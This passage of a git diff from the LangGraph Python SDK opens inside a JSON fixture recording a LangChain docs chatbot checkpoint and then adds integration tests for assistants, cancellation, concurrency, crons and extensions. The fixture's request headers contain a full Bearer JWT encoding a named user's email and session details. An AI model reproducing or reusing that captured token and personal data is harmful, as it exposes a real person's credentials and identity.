i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269f-1e57-6141-8002-9f0597d5daea"}},"values":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false},{"content":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?","additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022","stop_reason":"end_turn","stop_sequence":null},"type":"ai","name":null,"id":"run--824c9553-e992-40d0-a7a4-1396c088a28c","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":{"input_tokens":3003,"output_tokens":44,"total_tokens":3047,"input_token_details":{"cache_creation":0,"cache_read":0}}}],"steps":[],"documents":[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"}],"answer":"Hello! I'm here to help you with any questions you might have about LangChain. Is there something specific you'd like to know about this framework for developing applications powered by large language models?","query":"hi"},"metadata":{"source":"loop","step":3,"parents":{}},"next":[],"tasks":[],"checkpoint":{"checkpoint_id":"1f09269f-38a3-68bf-8003-0693e2e87d63","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""},"parent_checkpoint":{"checkpoint_id":"1f09269f-1e57-6141-8002-9f0597d5daea","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""}}} + diff --git a/libs/sdk-py/tests/integration/__init__.py b/libs/sdk-py/tests/integration/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sdk-py/tests/integration/conftest.py b/libs/sdk-py/tests/integration/conftest.py new file mode 100644 index 0000000..29eea13 --- /dev/null +++ b/libs/sdk-py/tests/integration/conftest.py @@ -0,0 +1,70 @@ +"""Shared fixtures for the integration suite. + +These tests require a running langgraph-api server at `LANGGRAPH_INTEGRATION_URL` +(defaults to `http://localhost:2024`). Stand it up via the docker stack in +`libs/sdk-py/integration/`: + + cd libs/sdk-py/integration && docker compose up -d + +The `integration` marker is registered in `pyproject.toml` and excluded by +default in pytest's `addopts`; opt in with `pytest -m integration`. +""" + +from __future__ import annotations + +import os +from collections.abc import AsyncIterator, Iterator + +import httpx +import pytest + +BASE_URL = os.environ.get("LANGGRAPH_INTEGRATION_URL", "http://localhost:2024") +ASSISTANT_ID = "agent" +TOOLS_ASSISTANT_ID = "tools_agent" +DEEP_AGENT_ASSISTANT_ID = "deep_agent" +FACTORY_ASSISTANT_ID = "factory_agent" + +EXPECTED_TERMINAL_ITEMS = ["streamed", "tool", "asked", "sub"] + + +@pytest.fixture(scope="session", autouse=True) +def _require_running_api() -> None: + """Skip the whole integration suite if the API isn't reachable. + + Autouse + session-scoped so a missing stack short-circuits before any + test runs (no per-test connection timeouts piling up). + """ + try: + resp = httpx.get(f"{BASE_URL}/ok", timeout=2.0) + resp.raise_for_status() + except Exception as err: + pytest.skip( + f"langgraph-api not reachable at {BASE_URL}: {err!r}. " + f"Bring up the stack with `cd libs/sdk-py/integration && docker compose up -d`." + ) + + +@pytest.fixture +async def async_threads() -> AsyncIterator[tuple[object, httpx.AsyncClient]]: + """Build an async ThreadsClient. Yields `(threads, raw_httpx)` so tests can close raw.""" + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.threads import ThreadsClient + + raw = httpx.AsyncClient(base_url=BASE_URL, timeout=30.0) + try: + yield ThreadsClient(HttpClient(raw)), raw + finally: + await raw.aclose() + + +@pytest.fixture +def sync_threads() -> Iterator[tuple[object, httpx.Client]]: + """Build a sync ThreadsClient. Yields `(threads, raw_httpx)` so tests can close raw.""" + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.threads import SyncThreadsClient + + raw = httpx.Client(base_url=BASE_URL, timeout=30.0) + try: + yield SyncThreadsClient(SyncHttpClient(raw)), raw + finally: + raw.close() diff --git a/libs/sdk-py/tests/integration/test_assistants.py b/libs/sdk-py/tests/integration/test_assistants.py new file mode 100644 index 0000000..d717877 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_assistants.py @@ -0,0 +1,120 @@ +"""`AssistantsClient` against the integration API. + +Covers the CRUD round-trip (create / get / update / delete), search by +metadata, and the graph introspection helpers (`get_graph`, +`get_schemas`). Both async and sync. +""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +def _async_assistants(raw): + from langgraph_sdk._async.assistants import AssistantsClient + from langgraph_sdk._async.http import HttpClient + + return AssistantsClient(HttpClient(raw)) + + +def _sync_assistants(raw): + from langgraph_sdk._sync.assistants import SyncAssistantsClient + from langgraph_sdk._sync.http import SyncHttpClient + + return SyncAssistantsClient(SyncHttpClient(raw)) + + +async def test_assistants_crud_async(async_threads) -> None: + _, raw = async_threads + client = _async_assistants(raw) + created = await client.create( + graph_id=ASSISTANT_ID, + metadata={"suite": "integration", "label": "crud-async"}, + name="crud-async", + ) + aid = created["assistant_id"] + try: + fetched = await client.get(aid) + assert fetched["assistant_id"] == aid + assert fetched["graph_id"] == ASSISTANT_ID + + updated = await client.update( + aid, metadata={"suite": "integration", "label": "crud-async-updated"} + ) + assert updated["metadata"]["label"] == "crud-async-updated" + + results = await client.search(metadata={"label": "crud-async-updated"}) + assert any(a["assistant_id"] == aid for a in results) + finally: + await client.delete(aid) + + +def test_assistants_crud_sync(sync_threads) -> None: + _, raw = sync_threads + client = _sync_assistants(raw) + created = client.create( + graph_id=ASSISTANT_ID, + metadata={"suite": "integration", "label": "crud-sync"}, + name="crud-sync", + ) + aid = created["assistant_id"] + try: + fetched = client.get(aid) + assert fetched["assistant_id"] == aid + assert fetched["graph_id"] == ASSISTANT_ID + + updated = client.update( + aid, metadata={"suite": "integration", "label": "crud-sync-updated"} + ) + assert updated["metadata"]["label"] == "crud-sync-updated" + + results = client.search(metadata={"label": "crud-sync-updated"}) + assert any(a["assistant_id"] == aid for a in results) + finally: + client.delete(aid) + + +async def test_assistants_graph_introspection_async(async_threads) -> None: + _, raw = async_threads + client = _async_assistants(raw) + # Introspection endpoints require a UUID. langgraph-api auto-creates + # one assistant per registered graph on startup; look it up by graph_id. + matches = await client.search(graph_id=ASSISTANT_ID, limit=1) + assert matches, f"no auto-created assistant for graph_id={ASSISTANT_ID!r}" + aid = matches[0]["assistant_id"] + + graph = await client.get_graph(aid) + node_ids = [n["id"] for n in graph.get("nodes", [])] + assert "stream_message" in node_ids + assert "ask_human" in node_ids + + graph_xray = await client.get_graph(aid, xray=True) + assert "nodes" in graph_xray and "edges" in graph_xray + + schemas = await client.get_schemas(aid) + # Just verify the shape rather than exact field names (server-side + # schema generation may evolve). + assert "state_schema" in schemas + + +def test_assistants_graph_introspection_sync(sync_threads) -> None: + _, raw = sync_threads + client = _sync_assistants(raw) + matches = client.search(graph_id=ASSISTANT_ID, limit=1) + assert matches, f"no auto-created assistant for graph_id={ASSISTANT_ID!r}" + aid = matches[0]["assistant_id"] + + graph = client.get_graph(aid) + node_ids = [n["id"] for n in graph.get("nodes", [])] + assert "stream_message" in node_ids + assert "ask_human" in node_ids + + graph_xray = client.get_graph(aid, xray=True) + assert "nodes" in graph_xray and "edges" in graph_xray + + schemas = client.get_schemas(aid) + assert "state_schema" in schemas diff --git a/libs/sdk-py/tests/integration/test_cancel.py b/libs/sdk-py/tests/integration/test_cancel.py new file mode 100644 index 0000000..995f1b2 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_cancel.py @@ -0,0 +1,137 @@ +"""Mid-run cancellation via `runs.cancel(...)`.""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time +from typing import Any + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + +_CANCEL_GRACE_SECONDS = 10.0 + + +async def _cancel_after_first_event( + runs_client: Any, + thread_id: str, + run_id_future: asyncio.Future[str], +) -> None: + run_id = await run_id_future + await asyncio.sleep(0.1) + with contextlib.suppress(Exception): + await runs_client.cancel(thread_id, run_id, wait=False) + + +async def test_cancel_async(async_threads) -> None: + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.runs import RunsClient + + threads, raw = async_threads + runs_client = RunsClient(HttpClient(raw)) + + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + run_id_future: asyncio.Future[str] = asyncio.get_running_loop().create_future() + start_result = await thread.run.start( + input={"messages": [], "value": "init", "items": []} + ) + run_id = start_result.get("run_id") + assert run_id, f"run.start returned no run_id: {start_result!r}" + run_id_future.set_result(run_id) + + canceller = asyncio.create_task( + _cancel_after_first_event(runs_client, thread.thread_id, run_id_future) + ) + + started = time.monotonic() + iteration_error: BaseException | None = None + try: + async for _snap in thread.values: + if time.monotonic() - started > _CANCEL_GRACE_SECONDS: + raise AssertionError( + f"values iterator did not terminate within " + f"{_CANCEL_GRACE_SECONDS}s of cancel" + ) + except BaseException as err: + iteration_error = err + + await canceller + + persisted = await threads.get(thread.thread_id) + status = persisted.get("status") + assert iteration_error is None, ( + f"values iterator raised after cancel: {iteration_error!r}" + ) + assert status != "success", ( + f"expected non-success terminal status after cancel, got {status!r}" + ) + + +def _cancel_after_first_event_sync( + runs_client: Any, + thread_id: str, + run_id_event: threading.Event, + run_id_holder: dict[str, str], +) -> None: + run_id_event.wait(timeout=10.0) + run_id = run_id_holder.get("run_id") + if not run_id: + return + time.sleep(0.1) + with contextlib.suppress(Exception): + runs_client.cancel(thread_id, run_id, wait=False) + + +def test_cancel_sync(sync_threads) -> None: + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.runs import SyncRunsClient + + threads, raw = sync_threads + runs_client = SyncRunsClient(SyncHttpClient(raw)) + + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + run_id_event = threading.Event() + run_id_holder: dict[str, str] = {} + start_result = thread.run.start( + input={"messages": [], "value": "init", "items": []} + ) + run_id = start_result.get("run_id") + assert run_id, f"run.start returned no run_id: {start_result!r}" + run_id_holder["run_id"] = run_id + run_id_event.set() + + canceller = threading.Thread( + target=_cancel_after_first_event_sync, + args=(runs_client, thread.thread_id, run_id_event, run_id_holder), + daemon=True, + name="cancel-worker", + ) + canceller.start() + + started = time.monotonic() + iteration_error: BaseException | None = None + try: + for _snap in thread.values: + if time.monotonic() - started > _CANCEL_GRACE_SECONDS: + raise AssertionError( + f"values iterator did not terminate within " + f"{_CANCEL_GRACE_SECONDS}s of cancel" + ) + except BaseException as err: + iteration_error = err + + canceller.join(timeout=5) + + persisted = threads.get(thread.thread_id) + status = persisted.get("status") + assert iteration_error is None, ( + f"values iterator raised after cancel: {iteration_error!r}" + ) + assert status != "success", ( + f"expected non-success terminal status after cancel, got {status!r}" + ) diff --git a/libs/sdk-py/tests/integration/test_concurrent.py b/libs/sdk-py/tests/integration/test_concurrent.py new file mode 100644 index 0000000..e07836a --- /dev/null +++ b/libs/sdk-py/tests/integration/test_concurrent.py @@ -0,0 +1,80 @@ +"""Concurrent `threads.stream()` against the integration API.""" + +from __future__ import annotations + +import asyncio +import threading +from typing import Any + +import pytest + +from .conftest import ASSISTANT_ID, EXPECTED_TERMINAL_ITEMS + +pytestmark = pytest.mark.integration + + +async def _drive_one_async(threads: Any) -> dict[str, Any]: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + async for _ in thread.values: + if thread.interrupted: + break + if thread.interrupted: + await thread.run.respond("yes") + + final = await thread.output + return {"thread_id": thread.thread_id, "items": final.get("items")} + + +async def test_concurrent_streams_async(async_threads) -> None: + threads, _ = async_threads + a, b = await asyncio.gather(_drive_one_async(threads), _drive_one_async(threads)) + assert a["items"] == EXPECTED_TERMINAL_ITEMS + assert b["items"] == EXPECTED_TERMINAL_ITEMS + assert a["thread_id"] != b["thread_id"], ( + f"concurrent streams collided on thread_id {a['thread_id']!r}" + ) + + +def _drive_one_sync( + threads: Any, label: str, results: dict[str, dict[str, Any]] +) -> None: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + for _ in thread.values: + if thread.interrupted: + break + if thread.interrupted: + thread.run.respond("yes") + + final = thread.output + results[label] = {"thread_id": thread.thread_id, "items": final.get("items")} + + +def test_concurrent_streams_sync(sync_threads) -> None: + threads, _ = sync_threads + results: dict[str, dict[str, Any]] = {} + workers = [ + threading.Thread( + target=_drive_one_sync, + args=(threads, label, results), + daemon=True, + name=f"sync-stream-{label}", + ) + for label in ("A", "B") + ] + for w in workers: + w.start() + for w in workers: + w.join(timeout=60) + assert not w.is_alive(), f"worker {w.name} did not finish within 60s" + + a = results.get("A") + b = results.get("B") + assert a is not None and a["items"] == EXPECTED_TERMINAL_ITEMS + assert b is not None and b["items"] == EXPECTED_TERMINAL_ITEMS + assert a["thread_id"] != b["thread_id"], ( + f"concurrent streams collided on thread_id {a['thread_id']!r}" + ) diff --git a/libs/sdk-py/tests/integration/test_crons.py b/libs/sdk-py/tests/integration/test_crons.py new file mode 100644 index 0000000..90d81b4 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_crons.py @@ -0,0 +1,68 @@ +"""`CronClient` against the integration API. + +Covers create / search / delete (no `update` since the surface accepts a +sparse update and the round-trip is implicitly exercised by the others). +The schedule fires in the future so the cron is never executed during +the test; we tear it down before any tick can land. +""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +def _async_crons(raw): + from langgraph_sdk._async.cron import CronClient + from langgraph_sdk._async.http import HttpClient + + return CronClient(HttpClient(raw)) + + +def _sync_crons(raw): + from langgraph_sdk._sync.cron import SyncCronClient + from langgraph_sdk._sync.http import SyncHttpClient + + return SyncCronClient(SyncHttpClient(raw)) + + +# Once a year, on Jan 1 at 00:00 UTC. Deterministic and well past any +# test runtime. +_DISTANT_SCHEDULE = "0 0 1 1 *" + + +async def test_crons_create_search_delete_async(async_threads) -> None: + _, raw = async_threads + crons = _async_crons(raw) + created = await crons.create( + ASSISTANT_ID, + schedule=_DISTANT_SCHEDULE, + input={"messages": [], "value": "init", "items": []}, + metadata={"suite": "integration", "label": "crons-async"}, + ) + cron_id = created["cron_id"] + try: + results = await crons.search(limit=20) + assert any(c["cron_id"] == cron_id for c in results) + finally: + await crons.delete(cron_id) + + +def test_crons_create_search_delete_sync(sync_threads) -> None: + _, raw = sync_threads + crons = _sync_crons(raw) + created = crons.create( + ASSISTANT_ID, + schedule=_DISTANT_SCHEDULE, + input={"messages": [], "value": "init", "items": []}, + metadata={"suite": "integration", "label": "crons-sync"}, + ) + cron_id = created["cron_id"] + try: + results = crons.search(limit=20) + assert any(c["cron_id"] == cron_id for c in results) + finally: + crons.delete(cron_id) diff --git a/libs/sdk-py/tests/integration/test_extensions.py b/libs/sdk-py/tests/integration/test_extensions.py new file mode 100644 index 0000000..04b0c94 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_extensions.py @@ -0,0 +1,49 @@ +"""`thread.extensions[name]` channel against the integration API.""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + +_EXPECTED_PRE_INTERRUPT_STEPS = [ + "stream_message", + "stream_message", + "call_tool", + 